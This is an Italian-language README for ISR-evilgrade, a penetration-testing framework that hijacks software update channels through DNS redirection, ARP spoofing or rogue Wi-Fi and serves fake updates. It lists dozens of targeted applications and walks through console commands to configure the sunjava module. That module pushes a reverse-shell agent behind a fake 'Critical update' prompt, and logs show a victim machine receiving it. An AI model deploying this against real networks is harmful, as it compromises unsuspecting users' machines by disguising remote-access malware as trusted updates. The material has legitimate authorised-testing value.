Faraday Security Research -- | ISR-evilgrade | www.faradaysec.com | --

.:: [BREVE PANORAMICA] ::.

Evilgrade è un framework modulare che consente all'utente di sfruttare implementazioni di aggiornamento scadenti iniettando falsi aggiornamenti. Viene fornito con binari predefiniti (agenti), una configurazione predefinita funzionante per pentest rapidi, e possiede i propri moduli WebServer e DNSServer. Facile da configurare nuove impostazioni e ha un'autoconfigurazione quando vengono impostati nuovi agenti binari.

* Quando dovrei usare evilgrade?

Questo framework entra in gioco quando l'attaccante è in grado di effettuare reindirizzamenti di nomi host (manipolazione del traffico DNS della vittima), e ciò può essere fatto in 2 scenari:

Scenari interni:

• Accesso DNS interno
• ARP spoofing
• Avvelenamento cache DNS
• DHCP spoofing
• TCP hijacking
• Impersonificazione di punto di accesso Wi-Fi

Scenari esterni:

• Accesso DNS interno
• Avvelenamento cache DNS

* Come funziona?

Evilgrade funziona con moduli; in ogni modulo c'è una struttura implementata necessaria per emulare un falso aggiornamento per un'applicazione/sistema specifico.

* Quali sistemi operativi sono supportati?

ISR-Evilgrade è multipiattaforma; dipende solo dall'avere un payload appropriato per la piattaforma target giusta da sfruttare.

Moduli implementati:

---

• Freerip 3.30
• Jet photo 4.7.2
• Teamviewer 5.1.9385
• ISOpen 4.5.0
• Istat.
• Gom 2.1.25.5015
• Atube catcher 1.0.300
• Vidbox 7.5
• Ccleaner 2.30.1130
• Fcleaner 1.2.9.409
• Allmynotes 1.26
• Notepad++ 5.8.2
• Java 1.6.0_22 winxp/win7
• aMSN 0.98.3
• Appleupdate <= 2.1.1.116 ( Safari 5.0.2 7533.18.5, <= Itunes 10.0.1.22, <= Quicktime 7.6.8 1675)
• Mirc 7.14
• Windows update (ie6 lastversion, ie7 7.0.5730.13, ie8 8.0.60001.18702, Microsoft works)
• Dap 9.5.0.3
• Winscp 4.2.9
• AutoIt Script 3.3.6.1
• Clamwin 0.96.0.1
• AppTapp Installer 3.11 (Iphone/Itunes)
• getjar (facebook.com)
• Google Analytics Javascript injection
• Speedbit Optimizer 3.0 / Video Acceleration 2.2.1.8
• Winamp 5.581
• TechTracker (cnet) 1.3.1 (Build 55)
• Nokiasoftware firmware update 2.4.8es - (Windows software)
• Nokia firmware v20.2.011
• BSplayer 2.53.1034
• Apt ( < Ubuntu 10.04 LTS)
• Ubertwitter 4.6 (0.971)
• Blackberry Facebook 1.7.0.22 | Twitter 1.0.0.45
• Cpan 1.9402
• VirtualBox (3.2.8 )
• Express talk
• Filezilla
• Flashget
• Miranda
• Orbit
• Photoscape.
• Panda Antirootkit
• Skype
• Sunbelt
• Superantispyware
• Trillian <= 5.0.0.26
• Adium 1.3.10 (Sparkle Framework)
• VMware
• more...

• /docs/CHANGES

.:: [USO PRINCIPALE] ::.

Funziona in modo simile a una console IOS``` evilgrade>help Type 'help command' for more detailed help on a command. Commands: configure - Configure - no help available exit - exits the program help - prints this screen, or help on 'command' reload - Reload to update all the modules - no help available restart - Restart webserver - no help available set - Configure variables - no help available show - Display information of . start - Start webserver - no help available status - Get webserver status - no help available stop - Stop webserver - no help available version - Display framework version. - no help available

Object: options - Show options of current module. vhosts - Show VirtualHosts of current module. modules - List all modules available for use. active - Show active modules.

## Elenco dei moduli implementati``` console
evilgrade>show modules

List of modules:
===============

...
...
...

- 63 modules available.

Configura un modulo specificato``` console

evilgrade>conf sunjava evilgrade(sunjava)>

#### Mostra tutti i VirtualHost.
#### Il campo VirtualHost contiene i domini che il nostro server web emulerà per noi.``` console
evilgrade>show vhosts

Virtual hosts:
=============

[
  "java.sun.com",
  "javadl-esd.sun.com",
  ...
  ...
  ...
]

Mostra le opzioni del modulo corrente.

• agent: Questo è il nostro falso binario di aggiornamento, dobbiamo impostare il percorso in cui si trova o implementare una generazione dinamica di falsi binari di aggiornamento (vedi ADVANCED).``` console evilgrade(sunjava)>show options

Display options:

Name = Sun Microsystems Java Version = 2.0 Author = ["Francisco Amato < famato +[AT]+ faradaysec.com>"] Description = "" VirtualHost = "java.sun.com|javadl-esd.sun.com"

.-------------------------------------------------------------------------------------------------------------------------. | Name | Default | Description | +--------------+-------------------------------------------------+--------------------------------------------------------+ | website | http://java.com/moreinfolink | Website displayed in the update | | enable | 1 | Status | | atitle | Critical vulnerability | Title name to be displayed in the systray item popup | | arg | | Arg passed to Agent | | adescription | This critical update fix internal vulnerability | Description to be displayed in the systray item popup | | description | This critical update fix internal vulnerability | Description to be displayed during the update | | agent | ./agent/reverseshellsign.exe | Agent to inject | | title | Critical update | Title name displayed in the update | '--------------+-------------------------------------------------+--------------------------------------------------------'

#### Avvia i servizi (DNS Server and WebServer)``` console
evilgrade>start
evilgrade>
[28/10/2010:21:35:55] - [WEBSERVER] - Webserver ready. Waiting for connections ...
evilgrade>
[28/10/2010:21:35:55] - [DNSSERVER] - DNS Server Ready. Waiting for Connections ...

#### Waiting for victims

evilgrade>
[25/7/2008:4:58:25] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Request: "^/update/[.\\d]+/map\\-[.\\d]+.xml"
evilgrade>
[25/7/2008:4:58:26] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Request: "^/java_update.xml\$"
evilgrade>
[25/7/2008:4:58:39] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Request: ".exe"
evilgrade>
[25/7/2008:4:58:40] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Agent sent: "./agent/reverseshell.exe"

Mostra i log di stato e delle vittime``` console

evilgrade>show status Webserver (pid 4134) already running

Users status:

.---------------------------------------------------------------------------------------------------------------. | Client | Module | Status | Md5,Cmd,File | +----------------+------------------+--------+------------------------------------------------------------------+ | 192.168.233.10 | modules::sunjava | send | d9a28baa883ecf51e41fc626e1d4eed5,'',"./agent/reverseshell.exe" | '----------------+------------------+--------+------------------------------------------------------------------'

## .:: [USO APPROFONDITO] ::.

### Comandi
#### configure / conf - Configura <module-name>

Esempio:
-------``` console
evilgrade>configure sunjava
evilgrade(sunjava)>